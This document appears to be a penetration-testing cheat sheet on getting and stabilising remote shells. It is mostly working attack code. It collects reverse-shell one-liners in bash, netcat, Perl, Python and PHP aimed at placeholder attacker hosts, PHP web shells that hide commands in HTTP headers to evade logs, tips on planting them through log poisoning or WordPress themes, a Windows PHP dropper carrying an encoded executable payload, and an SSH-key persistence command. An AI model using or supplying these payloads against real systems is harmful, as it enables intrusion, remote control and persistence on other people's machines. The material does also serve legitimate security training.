Shells

Great reverse shell generator

https://offsecnewbie.com/reverse_shell.php

I like using port 443 as its generally open on firewalls for HTTPS traffic. Sometimes servers and firewalls block non standard ports like 4444 or 1337

If connections drops or can not be established, try different ports 80,443,8080...

Interactive Shell Test

Copy below into shell. If YES, then you have an interactive shell

[[ $- == *i* ]] &&  echo "YES" || echo "No"

terminal = tty = text input/output environment console = physical terminal shell = command line interpreter

Why the F is my shell not returning?!

A firewall is likely blocking the port returning. What ports are open on the server? Use one of those ports.

Escaping limited interpreters

Some payloads to overcome limited shells:

ssh user@$ip nc $localip 4444 -e /bin/sh
enter user's password

export TERM=linux
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),   *$ 1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
echo os.system('/bin/bash')
/bin/sh -i
exec "/bin/sh";
perl —e 'exec "/bin/sh";'

Related Shell Escape Sequences...

    vi-->	:!bash
    vi-->	:set shell=/bin/bash:shell
    awk-->	awk 'BEGIN {system("/bin/bash")}'
    find-->	find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
    perl-->	perl -e 'exec "/bin/bash";'

go into /bin/ and see what binaries are in there.

/bin/csh -i # worked for BSD

From within tcpdump

echo $’id\n/bin/netcat $ip 443 -e /bin/bash’ > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -I eth- -w /dev/null -W 1 -G 1 -z /tmp/.tst -Z root

From busybox

/bin/busybox telnetd -|/bin/sh -p9999
#If you need a more stable connection:
nohup bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
:!bash
:set shell=/bin/bash:shell
!bash
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;
awk 'BEGIN {system("/bin/bash")}'
--interactive
echo "os.execute('/bin/sh')"
sudo nmap --script=exploit.nse
perl -e 'exec "/bin/bash";'

Add public key to authorized keys:

echo $(wget https://ATTACKER_IP/.ssh/id_rsa.pub) >> ~/.ssh/authotized_keys

Python TTY shells

https://github.com/infodox/python-pty-shells
on kali
edit tcp_pty_backconnect.py add kali ip and port and upload to target
python tcp_pty_shell_handler.py -b $kaliip:$port

on victim
chmod +x tcp_pty_backconnect.py
python tcp_pty_backconnect.py

Ippsec using tool

https://youtu.be/NMGsnPSm8iw

Upgrading to fully interactive 

# On victim
python -c 'import pty;pty.spawn("/bin/bash")'
Ctrl-z
# On attacker
echo $TERM # note down
stty -a # note down rows and cols
stty raw -echo # this may be enough
fg
# On victim
reset
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116

Note: Netcat (nc) OpenBSD does not support -e

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

Set PATH TERM and SHELL if missing:

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export TERM=xterm
export SHELL=bash

PHP

Webshell

Web shells are hard to detect

This command will run system commands on the underlying system and return the complete output as a string

https://guide.offsecnewbie.com/web#php-ini

Try to get this code on the server - possibly by contaminating a log file

use nc to connect to server - the connect will be logged

if a reverse shell is not returning back to you try a diff shell maybe python. run 'which python' to see if python is available

# Execute one command
<?php system("whoami"); ?>

# Take input from the url paramter. shell.php?cmd=whoami
#remember you might have to add index.php to url then you can do index.php?cmd=whoami
<?php system($_GET['cmd']); ?>

# The same but using passthru
<?php passthru($_GET['cmd']); ?>

# For shell_exec to output the result you need to echo it
<?php echo shell_exec("whoami");?>

# Exec() does not output the result without echo, and only output the last line. So not very useful!
<?php echo exec("whoami");?>

# Instead to this if you can. It will return the output as an array, and then print it all.
<?php exec("ls -la",$array); print_r($array); ?>

# preg_replace(). This is a cool trick
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

# Using backticks
<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>

# Using backticks
<?php echo `whoami`; ?>

# download netcat and run it
<?php include (location of netcat),exec(reverse shell);?>

Then you can execute the commands like this

http://victim/index.php?cmd=pwd

Make the commands from above a bit more stealthy. Instead of passing the cmds through the url, which will be obvious in logs, pass them through other header-parameters. The use tamper data or burpsuite to insert the commands. Or just netcat or curl.

<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
<?php system($_SERVER['HTTP_USER_AGENT'])?>
<?php system($_SERVER['HTTP_USER_AGENT'])?>

add it to index page of a wordpress theme

http://$ip/webshell.php?cmd=id

You can use this to move from web shell to a command line shell

http://$ip/webshell.php?cmd=nc $kali $port -e /bin/sh

A Great WebShell

https://github.com/flozz/p0wny-shell/blob/master/shell.php

Windows Shell

<?php

header('Content-type: text/plain');
$ip   = "1.2.3.4"; //change this 
$port = "1234"; //change this
$payload = "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";
$evalCode = gzinflate(base64_decode($payload));
$evalArguments = " ".$port." ".$ip;
$tmpdir ="C:\\windows\\temp";
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
$filename = "D3fa1t_shell.exe";
$file = fopen($filename, 'wb');
fwrite($file, $evalCode);
fclose($file);
$path = $filename;
$cmd = $path.$evalArguments;
$res .= "\n\nExecuting : ".$cmd."\n";
echo $res;
$output = system($cmd);
			            
?>

maybe URL encode it

Commands to try in a webshell to find out a bit more about system through webshell to help you get a command line shell

Kali shells

/usr/share/webshells/

Copy php-reverse-shell.php to working directory

cp /usr/share/webshells/php/php-reverse-shell.php php-reverse-shell.php

Best PHP reverse shell:

<?php
echo 'running shell';
$ip='YOUR_IP';
$port='YOUR_PORT';
$reverse_shells = array(
    '/bin/bash -i > /dev/tcp/'.$ip.'/'.$port.' 0<&1 2>&1',
    '0<&196;exec 196<>/dev/tcp/'.$ip.'/'.$port.'; /bin/sh <&196 >&196 2>&196',
    '/usr/bin/nc '.$ip.' '.$port.' -e /bin/bash',
    'nc.exe -nv '.$ip.' '.$port.' -e cmd.exe',
    "/usr/bin/perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"".$ip.":".$port."\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'",
    'rm -f /tmp/p; mknod /tmp/p p && telnet '.$ip.' '.$port.' 0/tmp/p',
    'perl -e \'use Socket;$i="'.$ip.'";$p='.$port.';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\''
);
foreach ($reverse_shells as $reverse_shell) {
   try {echo system($reverse_shell);} catch (Exception $e) {echo $e;}
   try {shell_exec($reverse_shell);} catch (Exception $e) {echo $e;}
   try {exec($reverse_shell);} catch (Exception $e) {echo $e;}
}
system('id');
?>

MIME Types

GIF89;

If a shell session closes quickly after it has been established, try to create a new shell session by executing one of the following commands on the initial shell. This will create a nested session!

bash
/bin/sh
/bin/sh -i

Using netcat

nc <attacker_ip> <port> -e /bin/bash

Using bash and TCP sockets

/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1

Using sh and TCP sockets

0<&196;exec 196<>/dev/tcp/<attacker_ip>/<port>; sh <&196 >&196 2>&196

Using telnet

telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port>

PHP and sh

php -r '$sock=fsockopen("<attacker_ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'

weevely

https://www.acunetix.com/blog/articles/web-shells-action-introduction-web-shells-part-4/
--weevely.py command password output--
./weevely.py generate abcd123 shell.php
upload to victim then execute
./weevely.py http://$ip/shell.php abcd123

Then if you want reverse shell, run this on victim after running listener on kali
backdoor_reversetcp $kaliip $port

Perl and sh

perl -e 'use Socket;$i="<attacker_ip>";$p=<port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl forking:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ip:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Reverse shell with python script:

#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Go reverse shell

Communicates over DNS

https://github.com/sysdream/chashell

Discover shell environment

Command

Output

php -v

PHP version

Python -V

Python version

Perl -v

Perl version

ls /usr/bin

Directory contents /usr/bin

uname -a

System information Linux

dir C:\”Program Files”

Directory contents Windows Program Files folder

systeminfo

System information Windows

id

Current user Linux

whoami

Current user Windows

pwd

Print working directory

Reading

https://www.acunetix.com/blog/articles/introduction-web-shells-part-1/

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